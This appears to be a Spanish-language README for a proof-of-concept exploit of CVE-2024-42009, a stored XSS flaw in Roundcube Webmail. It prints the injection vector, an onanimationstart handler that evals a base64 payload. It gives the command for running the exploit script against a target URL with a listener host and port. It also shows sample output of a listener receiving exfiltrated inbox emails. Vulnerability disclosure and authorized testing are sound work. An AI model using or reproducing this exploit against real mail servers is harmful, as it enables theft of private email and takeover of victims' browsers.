
CVE-2024-42009 Prueba de Concepto
Este repositorio contiene una prueba de concepto (PoC) para CVE-2024-42009, una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en Roundcube Webmail versión 1.6.7 y otras versiones. El exploit demuestra cómo un atacante puede inyectar JavaScript malicioso en un mensaje y aprovechar un problema de desanitización al analizar el HTML dentro del mensaje, lo que luego puede utilizarse para exfiltrar el contenido del correo electrónico de la bandeja de entrada de la víctima en este ejemplo, o incluso tomar el control del navegador de la víctima.
Una vulnerabilidad de Cross-Site Scripting en Roundcube hasta la versión 1.5.7 y 1.6.x hasta 1.6.7 permite a un atacante remoto robar y enviar correos electrónicos de una víctima mediante un mensaje de correo electrónico manipulado que abusa de un problema de desanitización en message_body() en program/actions/mail/show.php.
El exploit utiliza un disparador de animación CSS para la ejecución del XSS:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
El body se analiza como un div, por lo que debemos adaptarnos a ello. Es por eso que usamos el atributo onanimationstart para llamar a la función eval y ejecutar llamadas JavaScript complejas desde allí. Para obtener más información sobre cómo funciona el exploit y dónde están las vulnerabilidades en Roundcube, lea este artículo.
Instale los paquetes de Python requeridos:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ IMPORTANTE: Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas autorizadas. Úsela de manera responsable y esta cuenta no se hace responsable de ningún daño causado por terceros.